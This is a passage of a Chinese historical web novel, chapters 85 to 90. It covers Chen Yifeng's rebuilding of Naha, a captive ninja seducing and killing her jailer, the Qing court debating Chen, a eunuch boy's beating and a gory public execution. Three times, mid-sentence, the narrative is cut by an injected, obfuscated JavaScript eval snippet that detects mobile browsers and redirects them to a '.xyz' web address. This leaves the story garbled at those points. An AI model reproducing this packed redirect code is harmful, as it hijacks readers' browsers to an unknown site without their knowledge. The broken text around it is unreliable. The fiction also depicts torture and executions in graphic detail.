他的话音未落,就听到周围传来一阵窃窃私语。 “不。”陈逸风摇头,声音沉稳有力,“我要的是精锐,而不是乌合之众。我需要能够以一当十的勇士,需要对我忠心耿耿的死士。” 他的目光扫过在座的每一个人:“我会给你们最优厚的待遇,最精良的装备,最先进的训练。甚至,未来在大陆上,也会有你们的封地...” 大厅内的气氛顿时变得躁动起来。封地?这可是天大的诱惑! 野平太重重叩首,额头重重地磕在地上:“哈伊!在下必不负主公重托!” 两天后,重建工作轰轰烈烈地展开了。 “把码头两侧的山头清理出来,我要在那里安装最先进的岸防炮。”陈逸风站在高处,指着远处的山头说道。 工匠们立刻开始测量规划,一队队工人扛着工具朝山上走去。 “全城的废墟要推平重建,但是码头长街的战场遗迹要保留下来,将来要建一座纪念花园。”他继续下达着命令。 记录员手中的毛笔快速书写,不敢遗漏任何一个细节。 “预留十块地,建八所汉语学校,两所军事学院。这些是重中之重,必须优先建设。” “高薪聘请洋人船长、大副,要最有经验的航海人才。薪水可以比他们在欧美公司高出一倍!” 一道道命令如雪片般飞出,一笔笔巨额资金如流水般投入。工地上的号子声此起彼伏,建筑材料源源不断地运抵码头。 短短十天,就花出去一百五十万南洋龙元。这个天文数字让所有人都震惊了。有人开始暗地里议论,说陈逸风太过铺张浪费。 但很快,孙忠义就带着五十万银原和两百生力军抵达那霸。当码头上堆起小山般的银箱时,所有质疑都烟消云散了。 那霸港的面貌日新月异。新建的码头比原来宽阔了一倍,能同时停泊十几艘大船。山上的炮台工程也在紧锣密鼓地进行,一门门大炮整齐地排列着,威风凛凛。 第八十五章 地牢暗夜潜行 尚泰王看着这一切,听着陈逸风描绘的宏伟蓝图,早已沉醉其中。近代化的军队、坚固的炮台、庞大的舰队,还有各种工业设施,这一切都让这位年轻的国王心驰神往。 半月后,地牢深处,阴暗潮湿。腐朽的木门被风吹得吱呀作响,墙角爬满了青苔,空气中弥漫着一股令人作呕的腥臭味。 铁链吊着一个伤痕累累的女子,黑发如瀑,遮住了她的面容。破碎的夜行衣下,斑驳的血迹已经凝固。 这便是雾隐小鬼,德川家派来的女忍者。半个月前,她的身份暴露,被关进了这座琉球王国的刑部大牢。 原本由陈逸风的亲信看管,但自从新军组建的命令下达,那些人都找借口离开了。守卫换成了琉球本地人,这反倒给了她机会。 雾隐小鬼微微动了动手腕,铁链发出轻微的响动。这些日子,她经历了太多折磨。最初三天,那些中原人的刑罚令她几近崩溃。烙铁在皮肤上留下的疤痕还在隐隐作痛,指甲被拔掉的指甲依然在流脓。 但现在,情况变得不同了。 那霸港的变革让守卫们心思浮动,谁愿意在这阴暗的地牢里看守囚犯?外面的机会多得是。码头上新开的商行,城中的酒楼赌坊,到处都在招人。 于是,她每天只需挨一顿鞭子,再被吊起来晾一会儿。这些琉球人,太过愚蠢。 “嗯......”雾隐妖魔缓缓摆动躯体,喉间溢出若有似无的呻吟。铁链随着她的动作发出清脆的声响,在寂静的地牢中格外刺耳。 “臭娘们儿,叫什么叫!”黑胖的牢子骂骂咧咧地走过来,手里的皮鞭在地上拖出一道长长的痕迹,“要不是看着你这种**,老子现在早该在码头上赚大钱了!” 啪!皮鞭抽在女人身上。 “啊......”雾隐小鬼的声音中带着诱惑的意味,“大人,轻点......” 破碎的夜行衣下,若隐若现的肌肤让牢子眼睛发直。他咽了咽口水,手中的皮鞭不自觉地放低了。 “大人......”雾隐小鬼轻声道,“我想方便......” 她扭动着身体,双腿不停地摩擦。这姿态,这声音,足以让任何男人失去理智。汗水顺着她的脖颈滑落,在锁骨处汇聚成一滴。 果然,牢子眼中浮现出欲望的光芒。他的呼吸变得粗重,脸上的肥肉不停地抖动。 “方便?老子帮你......” 他靠近女人,伸手便要去扯她的衣服。粗糙的手掌已经触碰到了她的肌肤。 “不要......”雾隐小鬼轻声抗拒,“您太粗鲁了......” 但这声音不像拒绝,反倒像是在勾引。她的眼神迷离,嘴角带着若有似无的笑意。 牢子彻底失去了理智,他甚至忘记了这是个多么危险的女人。欲望冲昏了他的头脑,让他忽略了所有的警惕。 “把我放下来好不好?”雾隐小鬼柔声道,“手腕好疼......” 她的声音像是带着魔力,牢子摸索着墙上的钥匙,手都在发抖。 就在这一瞬间,雾隐小鬼的眼中闪过寒光。那是猎手看到猎物时的眼神。 她猛地扑上去,尖利的牙齿咬住了牢子的喉咙。双腿盘上对方的腰,借力向上一窜,手中的铁链灵巧地缠住了牢子的脖子。 “你......” 牢子瞪大了眼睛,但已经来不及喊叫。他的手在空中胡乱抓挠,却抓不到任何东西。 铁链收紧,他的脸迅速变得青紫。不到两分钟,牢子就断了气。 钥匙落入雾隐小鬼手中,发出清脆的声响。 “能死在我手里,是你的福分。”她冷笑一声,迅速打开锁链。 地牢里的灯笼摇曳,在墙上投下诡异的影子。雾隐小鬼活动了一下筋骨,从牢子身上搜出一把短刀。 她悄无声息地潜行在阴暗的走廊中,像一只优雅的黑猫。每一步都精准地避开了地上的积水,没有发出任何声响。 “喂,老孙,你听说了吗?”前面传来说话声。 “听说什么?” “码头那边又开了一家商行,工钱比这里高多了。” “可不是嘛,谁愿意在这鬼地方......” 话音未落,一道寒光闪过。两个守卫甚至没来得及发出声音,就倒在了血泊中。 雾隐小鬼从他们身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482269|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搜出了一些银钱和衣物,迅速换上。她的动作干净利落,没有丝毫拖泥带水。 当夜,她就消失在首里城中。 第二天一早,在樱之宿的陈逸风才得知这个消息。 “你说什么?”他瞪大了眼睛,手中的茶杯重重地放在桌上,“那个女忍者跑了?” 刑部官员满头大汗,跪在地上瑟瑟发抖:“是...是的,她用美人计......” “行了。”陈逸风摆摆手,眉头紧锁,“去把孙忠义叫来。” 不多时,孙忠义走了进来。 这位老部下最近脸色不太好看,自从来到琉球,就一直闷闷不乐。他的目光躲闪,不敢直视陈逸风的眼睛。 “忠义”陈逸风叹了口气,“你是不是还在生我的气?” 孙忠义板着脸:“属下不敢。” 书房里的气氛有些凝重,窗外的海风吹动着纸窗,发出沙沙的响声。 “我知道你想跟着打仗。”陈逸风站起身,走到窗前,“但你有伤在身,留守大本营也是重任。” “大人现在要练新军,何故不让我统领一军?”孙忠义终于忍不住问道,声音中带着一丝不甘。 陈逸风沉默片刻,转过身来:“因为我有更重要的事交给你。” 他示意左右退下,压低声音道:“我要建立一个秘密组织,叫"罚阁"。” “罚阁?”孙忠义眉头一皱。 “对。”陈逸风正色道,“我们面对的敌人,不只是满清和洋人。还有那些藏在暗处的毒瘤,那些打着仁义道德旗号的**子。” 他走到孙忠义面前,拍了拍他的肩膀:“这些人,不是靠军队就能对付的。我们需要一支特殊的力量。” 孙忠义眼中精光闪动:“大人的意思是......” “我要你来统领这支力量。”陈逸风的声音坚定,“忠义,你愿意吗?” 书房里一片寂静,只有海风的声音在窗外呼啸。孙忠义的目光渐渐变得坚定,他深深地看了陈逸风一眼,缓缓跪了下来。 “属下愿意。” 陈逸风站在樱之宿门前,望着孙忠义远去的背影,满是歉意。 第八十六章 秘密组织的崛起 “这兄台太过善良了。”陈逸风轻声说道,更像是在自言自语。 孟明蛇从阴影处走出,“先生是担心他做不来这差事?” 陈逸风摇摇头,“正是因为他善良,才最适合掌管罚阁。暴虐之人执掌刑罚,只会让世间更添冤魂;唯有心存善念之人,才能明白每一条人命的分量。” “可是...” “没有可是。”陈逸风打断道,“给忠义安排些得力干将,钱不是问题。告诉那些江湖好汉,只要忠心办事,我不会亏待他们。” 孟明蛇默默点头,转身离去。他的脚步声还未消失,街道尽头就传来了整齐的军靴声。 “一、二、一!向左转!” 瑾周信带着他训练了十天的新兵出现在街道上。这些士兵虽然还显得有些生涩,但已经能保持整齐的步伐。他们身着崭新的军服,每个人脸上都带着自豪的神情。 “报告大人!虎贲营集合完毕,即将征战山林野地!”瑾周信立正敬礼,声音洪亮地回荡在街道上。 陈逸风看着眼前这些朝气蓬勃的年轻面孔,不由得露出了欣慰的笑容。这些都是在望海之乱中跟随他出生入死的好儿郎,如今已经蜕变成一支真正的军队。 “稍息。”陈逸风的声音温和却不失威严,“继续训练,中午给弟兄们加餐。” 话音未落,又一支队伍从远处开来。这支队伍的步伐更加整齐,军容更加严整。 “羽林军集合完毕!”诸葛林神情严肃,眼中带着几分不服输的倔强。他偷偷瞥了瑾周信一眼,嘴角微微上扬。 陈逸风看出了两位爱将之间的较劲,不禁莞尔。这种良性竞争正是他想要看到的。他故意说道:“番号不重要,都是我陈逸风的队伍,继续训练吧。” 此言一出,诸葛林顿时双眼放光,带着队伍昂首阔步地离去。瑾周信也不甘示弱,立刻带队跟上。 街道上的气氛越发热闹起来。一支又一支的连队从陈逸风面前经过,每支队伍都展现出不同的特色。有的擅长刀术,有的精通枪法,还有专门负责后勤的辎重连。 街道两旁很快**了大量围观的民众。他们中有老人、妇女、孩童,甚至还有一些外国商人。所有人都被这支新军的气势所震撼。 “这就是陈大人的新军吗?” “看起来比幕府军还要威风呢!” “我儿子什么时候也能穿上这身军服就好了。” 议论声此起彼伏,人群中洋溢着自豪和期待。 尚泰王和一众大臣也闻讯赶来。 就连正在养伤的坂本龙马也出现在了人群中。他倚在拐杖上,目不转睛地看着这支新军。作为一个真正的剑士,他能看出这支军队的与众不同。 这支崭新的军队,每个士兵都穿着统一的蓝色军服,戴着平顶大檐帽,穿着布满铁钉的皮靴。他们昂首挺胸,目光坚定,展现出一股前所未有的力量。 当野平太率领的异族营出现时,现场的气氛达到了高潮。这支特殊的部队保留了太刀和心影刃,将传统武器与现代军事训练完美结合。他们将成为战场上最锋利的尖刀。 日本民众更是激动得热泪盈眶,高喊着“板载”。这支军队的存在,让他们看到了希望,看到了未来。 “大人。”坂本龙马拄着拐杖,一瘸一拐地走到陈逸风面前,深深一躬,“不知何时可以开始我们的谈判?” 陈逸风望着眼前这支崭新的军队,嘴角勾起一抹淡淡的笑意:“坂本龙马君,我最多在琉球停留一个月。咱们还是开诚布公地谈,我已经有些想家了。” 坂本龙马听出了话中的善意,紧绷的心终于放松下来。 街道上的阳光依旧明媚,新军的队伍仍在源源不断地通过。 而此时的孙忠义,已经走到了城郊的一座小庙前。他跪在佛像前,双手合十,喃喃自语:“菩萨保佑,请给我力量,让我能在执法如山的同时,不失慈悲之心...” 庙外,夕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482270|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳西下,晚霞如血。新的一天即将结束,新的征程才刚刚开始。 此时的北京城养心殿内一片狼藉,奏折散落一地。檀香袅袅升起,却掩盖不住殿内凝重的气氛。 “好一个孙猴子,竟敢在东海掀起这般风浪!”慈禧太后面色铁青,指着那些奏折,声音都在发颤。她素来以沉稳著称,此刻却难掩怒意,连指尖都在微微颤抖。 同治帝坐在一旁的龙椅上,身子微微前倾,困惑地看着自己的额娘。他年纪尚轻,对朝堂之事懵懂,只觉得陈逸风在海外为大清长脸,不明白额娘为何如此动怒。 “额娘,陈逸风不是为我大清立了功吗?为何您如此生气?”同治帝小心翼翼地问道,声音里带着几分试探。 “啪!”慈禧一掌重重拍在炕桌上,青花盖碗剧烈震动,茶水四溅。殿内的宫女太监们纷纷低下头,大气都不敢出。 “皇帝糊涂!”慈禧站起身来,长袖一挥,“那陈逸风是什么人?一个在洋人地界长大的汉人,如何能与我大清同心?他在琉球杀戮无度,已经惊动了各国使节!” 慈禧说着,指甲套都震落了一个,叮当落地的声响在寂静的殿内格外清晰。她转头对安德海喝道:“还不快把万国乾坤图取来!” 安德海连忙应声退下,脚步声渐行渐远。殿内只剩下慈禧母子和几个心腹宫女,气氛越发凝重。 慈禧来回踱步,眉头紧锁。她向来以善于权衡利弊著称,可这次却真的乱了方寸。一个写书的商人,竟然有能耐征服一国都城?这简直闻所未闻! 更让她心惊的是那十万华人。这些不臣之民,居然在海外繁衍生息,甚至还有反清复明的余孽!若是这些人被人利用,后果不堪设想。 “陈逸风能调动这些人,这家伙究竟葫芦里卖什么药?”慈禧喃喃自语,眉头紧锁。 殿外突然传来一阵急促的脚步声,打断了慈禧的思绪。慈安太后和裕王胤禛匆匆走了进来,两人的表情都带着几分凝重。 第八十七章 慈禧震怒 “妹妹今日火气不小啊。”慈安太后轻声说道,目光扫过满地的奏折,“来人,给太后换杯杭白菊。” 慈禧闻言,立刻收敛了情绪,恢复了往日的沉稳:“让您见笑了,不过是些御史的奏折让我心烦。”她缓缓坐下,接过宫女递来的茶盏。 胤禛找了个位置坐下,接过话茬:“这事我已经打听清楚了。那些御史又是司沅澄在背后搞鬼。”他顿了顿,继续说道,“不过这陈逸风确实也太狠了些,听说杀了上万日本人,把整个海湾都染红了。据说连英国公使都被惊动了。” 同治帝听到这里,忍不住插嘴道:“皇叔的意思是,陈逸风做错了?可他不是在保护我大清的子民吗?” 胤禛摇了摇头:“也不能这么说。他护侨本无可厚非,只是手段太过激烈了些。现在各国使节都在观望,生怕这把火烧到自己头上。” 慈安太后沉吟片刻,轻声道:“妹妹,皇帝说得有理。陈逸风虽然行事张狂,但也是为了保护华人。这些雅流非要把他捧到封侯的位置,分明是在为难朝廷。” 就在这时,安德海带着几个太监,抬着一卷巨大的地毯走了进来。他们小心翼翼地将地毯展开,现出一幅巨大的乾坤图。 同治帝这位年少的皇帝,立刻从龙椅上下来,爬到地图上,手指着各处地名:“这是京城,这是大运河,这是云贵川......”他的手指在地图上游走,眼中满是兴奋。 突然,他的手指停在了一处,声音里带着几分疑惑:“这片水域是乌苏里江?是被俄国人抢走的土地吗?” 殿内顿时一片寂静,连呼吸声都变得格外清晰。 慈禧见状,赶紧岔开话题:“皇帝,我们是要找琉球,别看那些地方。” 同治在地图上找了半天,却怎么也找不到琉球在哪。最后还是胤禛过去指给他看:“陛下,琉球在海上,您往这边看。” 当看清琉球的位置时,在场所有人都愣住了。那不过是海上一个小小的岛国,在偌大的地图上几乎难以察觉。 “这么小!”同治惊呼,“还没我们一个县大!陈逸风是不是傻了?放着大清的高官不做,跑去那种小地方当官?” 这话把殿内凝重的气氛都逗活了。就连慈禧也露出了一丝笑意,但眼底的忧虑却未曾消散。 正说着,太监远虎带人抬着一个西洋地球仪走了进来。这是一件精美的西洋贡品,通体镀金,在烛光下闪闪发亮。 “启禀太后、皇上,这是琼器阁特呈的西洋贡品地球仪。”远虎恭敬地说道。 安德海眨巴着眼睛,目光在殿内游移,心中暗暗称奇看出太后对这个新奇玩意很感兴趣。 殿内的烛火映照着他略显浮肿的面庞,那双精明的眼睛里闪过一丝难以察觉的惊讶。 这个瑜音的干儿子,名义上自己新收的小徒弟,倒是有几分机灵劲。太后要乾坤图,他居然想到了洋人进贡的地球仪。这东西比大清的那些图册不知道强到哪里去了。 不等太后开口,安德海他立马低头上前,脸上堆起谄媚的笑容:“启禀太后皇上,奴才搬乾坤图时想起洋人进贡的地球仪还在琼器阁,就擅自做主让远虎取来了,还请主子恕罪......” 远虎的功劳就这样被安德海轻描淡写地占去。他站在安公公身后,垂着头,面无表情。宫装的衣袖微微颤动,显示出主人并不平静的心绪。 慈安太后微微前倾身子,目光在远虎身上逡巡:“你就是远虎?听说是富察瑜音认的干儿子?” “回太后娘娘,奴才正是远虎,是富察氏氏姑奶奶富察瑜音的干儿子。”远虎跪地叩首,额头轻触地面。他能感受到太后锐利的目光,像一把无形的刀,正在剖析着自己。 “不错,倒是个机灵的。”慈安的声音里带着几分赞许,转向安德海时又添了几分笑意,“安德海,你这徒弟收得好啊。” 安德海连忙应声:“多谢太后夸奖,这孩子是有几分聪明。”他的声音里带着几分得意,仿佛真的是自己调教出来的得意门生。 同治皇帝的目光也被远虎吸引。年少的天子平日里身边都是些老成持重的大太监,难得见到一个年纪相仿的人。他的眼睛亮晶晶的,像是发现了 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“圆的,真是圆的!”同治帝绕着地球仪转圈,像是发现了新大陆的探险家,“陈先生说得对啊。可是下面的人怎么不掉下去?这是大清,这是天竺,那边又是哪里?” 胤禛王爷开始还能解答,但皇帝问得越深入,他也答不上来了。额头上渐渐渗出细密的汗珠,眼神也变得躲闪。 “皇叔,咱这圆球咋斜着放的?难道是坏的?洋人是在羞辱我们吗?”同治的声音里带着几分困惑和不安。 “这......”胤禛挠头,眼神闪烁,“应该不会吧,这也不是什么贵重物件......” 就在这时,李莲英的声音突然响起:“陛下,听说远虎在富察家学过西学,或许知道答案。” “是吗?你来给朕讲讲。”同治帝招手唤远虎,声音里带着掩饰不住的期待。 远虎感觉心脏快要跳出胸腔,但面上依然保持着镇定。他缓步走到地球仪旁,跪下行礼:“回陛下,这是咱星球的自然倾斜度,地球本就不是正的。” 此言一出,殿内哗然,宫女太监们面面相觑。 第八十八章 小太监的惊人之语 安德海的手指掐进掌心,正要发作,却见皇上神色如常,只得生生忍了下来。他的目光阴鸷地盯着远虎,仿佛要在他身上烧出个洞来。 “其实这倾斜是相对太阳来说的,”远虎继续解释,声音清晰而沉稳,“地球看似不动,实则一直在转,这才有了昼夜更替。而这个倾角,则造就了四季变化......” 远虎一边说,一边用拳头比划:“譬如这拳头是太阳,这是地球,不停地自转公转......” “哦!所以我们这是白天,对岸那边就入夜了呗?”同治帝兴致勃勃,眼睛里闪烁着求知的光芒。 “没错!寒冬到来全因阳光稀薄,所以才会冷......” 远虎的解释浅显易懂,同治帝听得入神。入宫前养伤的半月时间,远虎得了富察瑜音庇护,进宫后,又有陈逸风安排师傅教导,学了不少新知识,连英文都略通一二。如今机会来临,这些准备总算派上用场。 “远虎,这些都是从哪学来的?”同治问道,声音里带着浓浓的好奇。 “回陛下,都是之前在干娘家时学的。干娘待我极好,时常亲自教导,也请先生来教......”远虎的声音里带着几分感激。 “好好好,”同治点头,突然话锋一转,“那你可知道琉球与日本、大清是什么关系?” 远虎脸色一白,额头渗出细密的汗珠。阉人插手朝政必遭极刑,但事已至此,也只能豁出去了。他在心中暗暗下定决心:为了大人的前程,拼了这条命又何妨? “要说琉球,得先说说日本。”远虎定了定神,声音虽轻但字字清晰,“不知陛下可听说过明万历年间的征朝之役?那时日本刚结束内乱,猴子老儿统一全境,为求土地便将目光投向海外......” 远虎从丰臣秀吉说到德川家康,又从日本政局说到国情,将岛津家控制琉球王室的缘由、勘合贸易权对东亚经济的影响,乃至日本当下的维新变法,都娓娓道来。他的声音在殿内回荡,每一个字都像是敲在在场众人的心上。 殿内气氛渐渐凝重。连理藩院都说不清的事,居然被一个小太监说得明明白白。 安德海心中一紧,他太熟悉这种氛压了。额头上的冷汗不住地往下淌,他在心中暗道【要**了,这小子今天必死无疑。】 其他太监也察觉不妙,个个噤若寒蝉,大气都不敢出。只有李莲英含笑看着远虎,心中默默赞许【好胆色,不愧是陈逸风看中的人。】 “依奴才之见,”远虎继续道,声音依然平稳,“此事终会和平解决。岛津家不愿闹大,琉球国小势微也不敢造次。至于陈先生为琉球宰相一事,不过是谈判的筹码罢了。琉球就算封地,也不过一个乡村大小,陈先生归国前必会辞官。当然,这都是奴才妄加揣测,还请圣裁。” 殿内一片死寂,连呼吸声都清晰可闻。 “好一个人才!”慈禧冷笑,声音里带着刺骨的寒意,“没想到紫禁城里还藏着这等能人,看来陈逸风是你师父了?” 众人听出太后语气不善,吓得腿软,一个宫女当场晕倒,发出“扑通”一声闷响。 “拖出去!”慈禧怒喝,声音像是冬日的寒冰。 远虎吓得“扑通”一声跪在地上,身体不住颤抖,冷汗顺着额头滑落。殿内金碧辉煌,龙柱盘旋,处处彰显着皇家威严,更衬得他渺小如尘。 皇权威压之下,一个年少的孩子如何能不害怕?冰冷的地砖透过单薄的裤子,刺骨的寒意直往骨髓里钻。 但他心中那份报恩之情却如烈火般燃烧,让他在这种恐惧中依然保持着一丝清明。师傅待他如亲子,教他读书识字,让他明白做人的道理。如今师傅遭人诬陷,他怎能袖手旁观? “回...回太后...”远虎声音颤抖,额头紧贴地面,“陈逸风他...那人根本算不上我师父,从未行拜师之礼,只是如今勉强也能唤声爹爹了...” 这话一出,同治帝 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每一杖落下,远虎都要高喊一声谢恩,这便是深宫法度。疼痛如潮水般涌来,他的意识开始模糊,但仍死死咬着牙关。 安德海一边打一边骂:“臭小子,爷教你这么久规矩,你就是不开窍是吧?太监议政,你想找死?” “咱俩都是苦命人,你懂不懂?”安德海啐了一口,眼中满是轻蔑,“连那玩意儿都没了,还敢谈朝政?你也配?” 寒风中,远虎疼得浑身是汗,但陈逸风的话却在他脑海中回响: 【一个人的贵贱,不在血统,不在身体,而在心中的价值。躯壳已成空壳,灵魂莫要迷失!】 正是这句话,让远虎在这冰冷的紫禁城中,始终记得自己是个人。每一次被人羞辱,每一次被人欺凌,这句话都给了他继续活下去的勇气。 第八十九章 血与火的惩罚 殿内,檀香渐渐散尽,同治帝急切地问道:“皇叔,远虎说的琉球之事可是真的?还有,若是皇帝主动询问,太监也不能议政吗?” 裕王胤禛瞥了眼慈禧,谨慎答道:“琉球之事,远虎所言**不离十。至于祖制...”他停顿片刻,“臣记不太清了。” 慈安终于开口,声音温和:“妹妹,远虎年纪尚小,打这几杖教训便是,何必取他性命?” 慈禧火气稍减,但语气依旧冷硬:“姐姐心太软了,阉人议政这种风气必须遏制。咱大清百年无权监,就是有祖宗家法在。” “行了,给他改过自新的机会吧,到底是你表妹收的义子。”慈安轻叹一声。 殿外传来远虎的惨叫声,胤禛眉头微皱:“请屏退下人,臣有要事相商。” 等人退尽,胤禛正色道:“太后,远虎不能杀。他是陈逸风看重的人,若杀了他,陈逸风必认为是因西学而死,更不敢回国了。” 胤禛继续道:“可现在朝廷正需要西学啊!工业特区举步维艰,无人懂得门道。是先办纺织,还是先建钢铁厂?抑或如陈逸风所言先发展军工?” 他望向窗外,目光深远:“英法入京时,臣亲眼见识西夷之强。八里桥炮声隆隆,僧阿端沁一败,臣就知道,不学西学不行了。” 慈禧想起五年前仓皇逃往承德的情形,那时火光冲天,马蹄声急,她坐在轿中,看着那些洋人的大炮,心中充满了**。 “那陈逸风该如何处置?”慈禧揉了揉太阳穴,“这孙猴子太过跳脱,谁能制得住他?” 胤禛冷笑:“他再是孙猴子,也逃不出咱们大清的五指山。等他辞官回京,若是乖乖娶了富察瑜音,就让他在京城住下,十年不得出京。” “若是不听话...”胤禛眼中寒光闪烁,声音低沉,“一杯毒酒足矣!纵有洋大人庇护,暗中下手他也躲不过。” “好计策!”慈禧笑道,“就看这孙猴子愿不愿意回来了。” “太后放心,他在海外再逍遥,终究要回来享受的。”胤禛胸有成竹,“只要咱们给他荣华富贵,他自然会乖乖就范。” “哈哈,裕王说得对。”慈禧轻抚手中的玉如意,“哀家不给他水帘洞,要给他一座瑶华园!” 殿外,寒风依旧呼啸,远虎已经昏迷过去。安德海看着他苍白的脸,叹了口气,挥手让人将他抬下去。 紫禁城的夜,格外寒冷。月光洒在宫墙上,映出一片惨白。这座囚笼般的宫殿,不知吞噬了多少人的梦想与希望。而今夜,又多了一个被打得皮开肉绽的小太监。 秋风萧瑟,海浪一波接一波地拍打着码头。 “阿嚏!”陈逸风鼻子一酸,打了个喷嚏。 “宰相大人,这风大得很,您还是先回府歇着吧。”一旁的琉球官员小心翼翼地劝道。 “是啊,让下官去请御医来看看。”另一个官员连忙附和。 “不如去请墨德医生?听说他最近配制了一种新的药剂,对风寒特别有效。” “后山有处温泉,水质温和,泡一泡定能祛除寒气...” 琉球官员们你一言我一语,争先恐后地献计。陈逸风只是轻轻摆了摆手,目光依旧凝视着远处渐行渐远的日本关船。船帆在海风中鼓胀,如同一只振翅欲飞的白鸟。 孟明蛇默默地取出一件厚实的披风,轻手轻脚地披在陈逸风肩上。陈逸风微微眯起眼睛,海风吹得他眼角有些发涩。 这半个月的谈判,终于有了结果。那霸**平息一个多月后,琉球王室和岛津家的使者在今天签署了《琉球密约》。密约的内容看似宽松,实则暗藏玄机。 坂本龙马站在船头,回望那霸港口的身影渐渐模糊。他的眉头微蹙,眼中闪过一丝困惑。确实,以琉球现在的优势,完全可以将岛津家赶尽杀绝。但陈逸风却在谈判中做出了让步,不仅允许岛津家保留玄甲军,还答应给予部分税收。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15482273|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这份协议若是传回鹿儿岛,怕是连岛津家主都要惊掉下巴。战败方居然能得到如此优厚的条件?但陈逸风心里清楚,这些表面上的让步,换来的是更重要的东西。 《琉球密约》中最关键的一条:岛津家主必须亲笔写一份备忘录,详细记录两百多年来占领琉球的始末。从最初的入侵到后来的盘剥压榨,一字不漏。最重要的是,要承认琉球是中国的藩属国,**完整不容置疑。 “这份备忘录,如果能请**陛下签字...”陈逸风的声音在谈判桌上回响,“我愿意奉上二百支美国洋枪,外加二十万银元。” 坂本龙马先是疑惑,随即又了然。他何等聪明,一下就明白了陈逸风的用意。这份备忘录一旦存在,就等于在国际法上斩断了琉球与日本的联系。 “你们可以保留军队,也能拿到部分税收。”陈逸风的手指轻轻敲击着桌面,“我甚至可以放桦山栗源和竹中井上一条生路。但如果你们执意要拒绝...”他的声音陡然冷了下来,“那就别怪我把所有日本人都赶出琉球。到时候,岛津家在东海四藩的威望...” 话没说完,但意思已经很明显了。现在的岛津家,根本没有选择的余地。琉球**的消息已经传到江户,永安幕府震怒,要求彻查。对岛津家来说,拖延就是最好的策略。 于是,一个巨大的谎言诞生了。 在官方版本里,那霸**只是一场普通的骚乱。起因是日本无赖想**华商,引发了族群冲突。琉球军队被卷入其中,日本将领山本清误判形势,这才酿成大祸。 文件上写的清清楚楚:岛津家在琉球只有八百多人,目的是保护日本商人。至于陈逸风,不过是个仗义执言的中国文人,带着一千多人参与了战斗。他的宰相之位,也只是国王敬重中国文人的一点心意。 这个谎言漏洞百出,但**从来就不是讲真相的地方。有琉球王国作证,就算是指鹿为马,又有谁敢戳破? 第九十章 密约背后的权谋 第二日午时,码头上的人群渐渐多了起来。渔民们收起渔网,商贩们放下担子,三三两两地聚在一起,窃窃私语。他们都知道今天要发生什么。 “开始吧。”陈逸风揉了揉发酸的鼻子,对监斩官说。 监斩官起身拱手:“领命。传宰相令,行刑!” 一群**被押上前来。恶八郎、夜隐鬼王,还有那些趁乱**的暴徒。他们面如死灰,被粗麻绳捆着跪在码头边缘。海浪拍打着石阶,溅起的水花打湿了他们的裤脚。 陈逸风的新兵们手持魂渊刀,脸色发白。这是他们第一次**,手都在发抖。有几个年轻士兵的额头上已经渗出了冷汗。 “时辰到,第一排,斩!” 十把刀光闪过,只有三个人一刀毙命。其他的刀都卡在了颈骨上,血流如注却死不了人。新兵们手忙脚乱地拔刀,又砍,场面一片混乱。有人呕吐,有人哭泣,有人闭着眼睛胡乱挥刀。 最惨的是恶八郎,给他行刑的正是柳老板的小伙计。这小子不知是紧张还是报复,一刀劈在了肩膀上。恶八郎痛得嚎叫,屎尿齐流,场面极其难看。 后面等死的犯人都吓傻了,有的直接晕了过去。 “求求你们,给个痛快吧!”他们跪地求饶,额头重重地磕在地上。 陈逸风冷笑着转身离开:“好好杀,让这些日本人记住今天的教训。” 身后,监斩官的声音再次响起:“第二排,推上来!” 陈逸风站在远处的高台上,默默注视着这一切。他的目光穿过血腥的刑场,落在远处波光粼粼的海面上。 “先生。”瑾周信快步走来,“美国牧师史密斯已经在盘山道上等候多时了。” 陈逸风点点头,转身离开了码头。 盘山道上,史密斯正倚着一棵老松,望着远处的刑场。听到脚步声,他缓缓转过身。 “上帝保佑这些灵魂。”史密斯低声祷告,胸前的十字架在阳光下闪烁。 陈逸风忍不住笑道:“你在玉岭山打土匪时可没这么慈悲。那会儿,你可是连眼睛都不眨一下。” 史密斯尴尬地咳嗽一声,从怀中掏出一封信:“说正事吧,我带来了好消息。” “快说!”陈逸风搓着手,眼中闪烁着期待的光芒。 “美国公使司空澜同意了。”史密斯压低声音,“三艘二手疾翼船,一套最新铸币机,还有**采购权。这可是个大手笔。” 陈逸风眼睛一亮:“白银贸易呢?” “也同意了,不过...”史密斯顿了顿,“他们要求黄金交易比例必须达到百分之十。” 陈逸风眉头紧锁:“太高了。这个价格,我们吃不消。能不能往下降?咱有本事让望海工业区所有项目都采用美方规范。” “真有你的!”史密斯惊叹,“不过你很快就不需要我传话了,华盛顿已经派特使来了。” 